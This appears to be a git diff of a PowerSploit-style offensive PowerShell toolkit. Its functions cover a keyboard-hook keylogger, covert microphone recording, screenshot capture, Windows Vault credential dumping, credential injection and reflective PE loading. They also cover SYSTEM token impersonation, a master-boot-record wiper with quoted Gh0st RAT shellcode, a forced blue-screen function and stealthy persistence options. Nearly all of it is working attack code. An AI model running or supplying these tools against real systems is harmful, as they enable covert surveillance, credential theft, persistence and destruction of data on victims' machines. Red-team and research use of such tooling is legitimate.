222 { $Key = '<Single Quote>' }
}
}
}
catch {}
else {
switch ($vKey) {
$Keys::F1 { $Key = '<F1>' }
$Keys::F2 { $Key = '<F2>' }
$Keys::F3 { $Key = '<F3>' }
$Keys::F4 { $Key = '<F4>' }
$Keys::F5 { $Key = '<F5>' }
$Keys::F6 { $Key = '<F6>' }
$Keys::F7 { $Key = '<F7>' }
$Keys::F8 { $Key = '<F8>' }
$Keys::F9 { $Key = '<F9>' }
$Keys::F10 { $Key = '<F10>' }
$Keys::F11 { $Key = '<F11>' }
$Keys::F12 { $Key = '<F12>' }
$Keys::Snapshot { $Key = '<Print Screen>' }
$Keys::Scroll { $Key = '<Scroll Lock>' }
$Keys::Pause { $Key = '<Pause/Break>' }
$Keys::Insert { $Key = '<Insert>' }
$Keys::Home { $Key = '<Home>' }
$Keys::Delete { $Key = '<Delete>' }
$Keys::End { $Key = '<End>' }
$Keys::Prior { $Key = '<Page Up>' }
$Keys::Next { $Key = '<Page Down>' }
$Keys::Escape { $Key = '<Esc>' }
$Keys::NumLock { $Key = '<Num Lock>' }
$Keys::Capital { $Key = '<Caps Lock>' }
$Keys::Tab { $Key = '<Tab>' }
$Keys::Back { $Key = '<Backspace>' }
$Keys::Enter { $Key = '<Enter>' }
$Keys::Space { $Key = '< >' }
$Keys::Left { $Key = '<Left>' }
$Keys::Up { $Key = '<Up>' }
$Keys::Right { $Key = '<Right>' }
$Keys::Down { $Key = '<Down>' }
$Keys::LMenu { $Key = '<Alt>' }
$Keys::RMenu { $Key = '<Alt>' }
$Keys::LWin { $Key = '<Windows Key>' }
$Keys::RWin { $Key = '<Windows Key>' }
$Keys::LShiftKey { $Key = '<Shift>' }
$Keys::RShiftKey { $Key = '<Shift>' }
$Keys::LControlKey { $Key = '<Ctrl>' }
$Keys::RControlKey { $Key = '<Ctrl>' }
}
}
# Get foreground window's title
$Title = New-Object Text.Stringbuilder 256
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
# Define object properties
$Props = @{
Key = $Key
Time = [DateTime]::Now
Window = $Title.ToString()
}
$obj = New-Object psobject -Property $Props
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
#return results
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
}
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate
# Get handle to PowerShell for hook
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
if ($PSBoundParameters['CollectionInterval'])
{
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
while ($true) {
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
Start-Sleep -Milliseconds 10
}
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
Stop-Job -Name Keylogger
Unregister-Event -SourceIdentifier ElapsedAction
$Sender.Stop()
} | Out-Null
$Stopwatch.Stop()
# Remove the hook
$UnhookWindowsHookEx.Invoke($Hook)
}
}
# Setup KeyLogger's runspace
$PowerShell = [PowerShell]::Create()
[void]$PowerShell.AddScript($Script)
[void]$PowerShell.AddArgument($LogPath)
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
# Start KeyLogger
[void]$PowerShell.BeginInvoke()
if ($PassThru.IsPresent) { return $PowerShell }
}
+187
View File
@@ -0,0 +1,187 @@
function Get-MicrophoneAudio {
<#
.SYNOPSIS
Records audio from the microphone and saves to a file on disk
Author: Justin Warner (@sixdub)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info:
http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
https://github.com/PowerShellMafia/PowerSploit
Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/
.DESCRIPTION
Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.
.OUTPUTS
Outputs the FileInfo object pointing to the recording which has been saved to disk.
.PARAMETER Path
The location to save the audio
.PARAMETER Length
The length of the audio to record in seconds. Default: 30
.PARAMETER Alias
The alias to use for the WinMM recording. Default: Random 10 Chars
.EXAMPLE
Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
Description
-----------
Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
#>
[OutputType([System.IO.FileInfo])]
Param
(
[Parameter( Position = 0, Mandatory = $True)]
[ValidateScript({Split-Path $_ | Test-Path})]
[String] $Path,
[Parameter( Position = 1, Mandatory = $False)]
[Int] $Length = 30,
[Parameter( Position = 2, Mandatory = $False)]
[String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_}))
)
#Get-DelegateType from PowerSploit
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
#Get-ProcAddress from PowerSploit
function local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
#Initialize and call LoadLibrary on our required DLL
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$HND = $null
$HND = $LoadLibrary.Invoke('winmm.dll')
if ($HND -eq $null)
{
Throw 'Failed to aquire handle to winmm.dll'
}
#Initialize the function call to count devices
$waveInGetNumDevsAddr = $null
$waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs
$waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32])
if ($waveInGetNumDevsAddr -eq $null)
{
Throw 'Failed to aquire address to WaveInGetNumDevs'
}
$waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate)
#Initilize the function call to record audio
$mciSendStringAddr = $null
$mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA
$mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32])
if ($mciSendStringAddr -eq $null)
{
Throw 'Failed to aquire address to mciSendStringA'
}
$mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate)
#Initialize the ability to resolve MCI Errors
$mciGetErrorStringAddr = $null
$mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA
$mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool])
if ($mciGetErrorStringAddr -eq $null)
{
Throw 'Failed to aquire address to mciGetErrorString'
}
$mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate)
#Get device count
$DeviceCount = $waveInGetNumDevs.Invoke()
if ($DeviceCount -gt 0)
{
#Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx
$errmsg = New-Object Text.StringBuilder 150
#Open an alias
$rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
#Call recording function
$rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
Start-Sleep -s $Length
#save recorded audio to disk
$rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
#terminate alias
$rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0);
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
$OutFile = Get-ChildItem -path $path
Write-Output $OutFile
}
else
{
Throw 'Failed to enumerate any recording devices'
}
}
+18 -2
View File
@@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
$Width = [Int] $Matches['ScreenWidth']
$Height = [Int] $Matches['ScreenHeight']
} else {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$Width = $ScreenBounds.Width
$Height = $ScreenBounds.Height
}
$Size = New-Object System.Drawing.Size($Width, $Height)
$Point = New-Object System.Drawing.Point(0, 0)
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
+3 -5
View File
@@ -28,8 +28,6 @@ Only web credentials can be displayed in cleartext.
[CmdletBinding()] Param()
$OSVersion = [Environment]::OSVersion.Version
$OSMajor = $OSVersion.Major
$OSMinor = $OSVersion.Minor
#region P/Invoke declarations for vaultcli.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
@@ -79,7 +77,7 @@ Only web credentials can be displayed in cleartext.
$null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
if ($OSVersion -ge '6.2')
{
$null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
}
@@ -149,7 +147,7 @@ Only web credentials can be displayed in cleartext.
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
if ($OSVersion -ge '6.2')
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
@@ -317,7 +315,7 @@ Only web credentials can be displayed in cleartext.
$PasswordVaultItem = [IntPtr]::Zero
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
if ($OSVersion -ge '6.2')
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
+4 -4
View File
@@ -771,7 +771,7 @@ function Invoke-CredentialInjection
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
@@ -2416,7 +2416,7 @@ function Invoke-CredentialInjection
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false
@@ -2474,7 +2474,7 @@ function Invoke-CredentialInjection
Write-Verbose "Allocating memory for the PE and write its headers to memory"
[IntPtr]$LoadAddr = [IntPtr]::Zero
if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
{
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue
[IntPtr]$LoadAddr = $OriginalImageBase
@@ -3346,7 +3346,7 @@ function Invoke-CredentialInjection
}
elseif ($PsCmdlet.ParameterSetName -ieq "ExistingWinLogon")
{
$WinLogonProcessId = (Get-Process -Name "winlogon")[0].Id
$WinLogonProcessId = (Get-Process -Name "winlogon"| Select-Object -first 1).Id
}
#Get a ushort representing the logontype
File diff suppressed because one or more lines are too long
+3 -3
View File
@@ -572,7 +572,7 @@ $RemoteScriptBlock = {
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
@@ -2205,7 +2205,7 @@ $RemoteScriptBlock = {
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false
@@ -2263,7 +2263,7 @@ $RemoteScriptBlock = {
Write-Verbose "Allocating memory for the PE and write its headers to memory"
[IntPtr]$LoadAddr = [IntPtr]::Zero
if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
{
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue
[IntPtr]$LoadAddr = $OriginalImageBase
+20 -6
View File
@@ -1685,20 +1685,34 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
#We need to enumrate all processes running as SYSTEM and find one that we can use.
$SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"}
[string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$_
}
}
}
ForEach ($SystemToken in $SystemTokens)
{
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
if ($SystemTokenInfo) { break }
}
if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
{
Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
}
if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero)
{
$CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
$systemTokenInfo = $null
$CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null
$SystemTokenInfo = $null
}
$ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}
+90 -88
View File
@@ -3,109 +3,109 @@ function Set-MasterBootRecord
<#
.SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.
Proof of concept code that overwrites the master boot record with the
message of your choice.
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR. This technique was taken
from a public malware sample. This script is inteded solely as proof of
concept code.
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR. This technique was taken
from a public malware sample. This script is inteded solely as proof of
concept code.
.PARAMETER BootMessage
Specifies the message that will be displayed upon making your computer a brick.
Specifies the message that will be displayed upon making your computer a brick.
.PARAMETER RebootImmediately
Reboot the machine immediately upon overwriting the MBR.
Reboot the machine immediately upon overwriting the MBR.
.PARAMETER Force
Suppress the warning prompt.
Suppress the warning prompt.
.EXAMPLE
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
.NOTES
Obviously, this will only work if you have a master boot record to
overwrite. This won't work if you have a GPT (GUID partition table)
#>
Obviously, this will only work if you have a master boot record to
overwrite. This won't work if you have a GPT (GUID partition table).
<#
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NUL
)
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[ValidateLength(1, 479)]
[String]
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
@@ -220,7 +220,7 @@ int CGh0stApp::KillMBR()
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
# Zero-initialize the allocated unmanaged memory
0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
@@ -272,11 +272,11 @@ function Set-CriticalProcess
Causes your machine to blue screen upon exiting PowerShell.
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER ExitImmediately
@@ -300,7 +300,9 @@ Set-CriticalProcess -Force -Verbose
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[Switch]
$Force,
@@ -319,7 +321,7 @@ Set-CriticalProcess -Force -Verbose
{
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
}
if (!$Response)
{
return
+187 -127
View File
@@ -3,86 +3,93 @@ function New-ElevatedPersistenceOption
<#
.SYNOPSIS
Configure elevated persistence options for the Add-Persistence function.
Configure elevated persistence options for the Add-Persistence function.
PowerSploit Function: New-ElevatedPersistenceOption
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: New-ElevatedPersistenceOption
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
.PARAMETER PermanentWMI
Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove.
Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove.
Detection Difficulty: Difficult
Removal Difficulty: Difficult
User Detectable? No
Detection Difficulty: Difficult
Removal Difficulty: Difficult
User Detectable? No
.PARAMETER ScheduledTask
Persist via a scheduled task.
Persist via a scheduled task.
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable? No
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable? No
.PARAMETER Registry
Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable? Yes
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable? Yes
.PARAMETER AtLogon
Starts the payload upon any user logon.
Starts the payload upon any user logon.
.PARAMETER AtStartup
Starts the payload within 240 and 325 seconds of computer startup.
Starts the payload within 240 and 325 seconds of computer startup.
.PARAMETER OnIdle
Starts the payload after one minute of idling.
Starts the payload after one minute of idling.
.PARAMETER Daily
Starts the payload daily.
Starts the payload daily.
.PARAMETER Hourly
Starts the payload hourly.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
.EXAMPLE
